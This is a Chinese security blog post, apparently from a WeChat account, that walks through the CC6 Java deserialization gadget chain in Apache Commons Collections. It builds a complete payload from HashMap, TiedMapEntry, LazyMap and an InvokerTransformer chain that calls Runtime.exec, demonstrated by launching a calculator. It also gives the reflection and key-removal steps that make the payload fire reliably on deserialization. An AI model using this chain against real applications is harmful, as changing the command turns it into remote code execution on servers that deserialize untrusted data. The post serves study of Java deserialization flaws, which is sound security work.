由于传播、利用本公众号菜狗安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号菜狗安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,会立即删除并致歉。
前言
利用链分析
payload编写
完善payload
最后
CC6这条链是基于CC1的基础上,由于在CC1中使用到的AnnotationInvocationHandler类,也就是入口点,它的readObject()在java8u71版本后就进行了修改,导致在jdk8u71后的版本,cc1使用不了,所以就衍生出了CC6这条链,它的入口点是我们使用到的HashMap的readObject,下面就来分析一下这条链,由于部分CC1重复的内容文章不会详细提,没看过的话可以先看CC1那篇文章
执行点和CC1一样是InvokerTransformer.transform,在cc1中我们使用ChainedTransformer.transform执行我们的命令,所以到这里都是一样的,接着我们就看transform的用法了
在CC1中我们走的是TransformedMap下的checkSetValue,CC6这里走的是.LazyMap.get
看代码,这里我们要控制的也是两个点,一个是factory属性,接着就是看get方法的调用,先来第一个
这个factory是我们能直接传入的,那接下来就是看get的调用
这个实在是太你妹多了,这里就根据ysoserial中的Gadget来看了,作者是找到了TiedMapEntry这个类
它的getValue会触发get(),这个map是我们可控的
接着就是看getValue的调用
它自己的hashCode方法调用了,那么到这里不就和URLDNS那条链接上了嘛,后面就是URLDNS链的前半段一样了,这里就不细说了
URLDNS前半段调用链
HashMap#readObject()
HashMap#hash()
URL#hashCode()
URLStreamHandler#hashCode()
执行点不是和CC1的一样嘛,直接复制过来
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer)});
接着就是调用LazyMap的decorate,它这里两个参数,一个是map,一个就是我们要触发transform的类
HashMap<Object, Object> Map = new HashMap<>();
Map decorate = LazyMap.decorate(Map, chainedTransformer);
接着就是TiedMapEntry,这里我们要设置map.get,map的值,这个值是通过它的构造方法传入,没啥好说的,第一个参数map,就是我们要触发.get方法的对象,第二个参数key无所谓
TiedMapEntry TiedMap = new TiedMapEntry(decorate, "aaa");
最后就是创建HashMap,触发TiedMapEntry的hashCode()了,这里也是从CC1搬过来
HashMap<Object, Object> Map2 = new HashMap<>();
Map2.put(TiedMap,"xxxx");
最后序列化和反序列化Map2即可
反序列化时计算器弹出,命令成功执行
按照我上面的写法,会出现和URLDNS链一样的问题,就是在序列化的时候Map2.put会执行一次计算器,避免这种问题也很简单,先让它在put的时候不会触发到InvokerTransformer,再通过反射修改就行了
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new ConstantTransformer(Runtime.class)
});
HashMap<Object, Object> Map = new HashMap<>();
Map decorate = LazyMap.decorate(Map, chainedTransformer);
TiedMapEntry TiedMap = new TiedMapEntry(decorate, "aaa");
HashMap<Object, Object> Map2 = new HashMap<>();
Map2.put(TiedMap,"xxxx");
Class aClass = ChainedTransformer.class;
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformer);
// serialize(Map2);
unserialize("ser.bin");
按照正常来说,这样子该一下就可以了,但是它这里反序列化是不会执行命令的,原因是get()方法,我们再来看下get方法的代码
它这里会先判断map的key是否为空,在序列化的时候key是空的所以可以进入判断,然后触发factory.transform,但是我们改为之后,我们传入的ChainedTransformer是不会到执行点的,然后它会put把key值写入,那么它这里就有key了,反序列化的时候触发到get方法时,由于它已经有key,它就不会进入if,而是直接返回,自然就不会触发factory.transform。
所以我们在它序列化前要把它的key删除,加上下面这行就行
decorate.remove("aaa");
加上后再次序列化反序列化
序列化时不会触发
反序列化时成功执行命令,弹出计算器
如有技术问题可扫描交流群二维码进群交流
如果二维码过期,可以加我联系方式备注“交流群”
原文始发于微信公众号(菜狗安全):JAVA安全-反序列化系列-CC6(无依赖链)分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论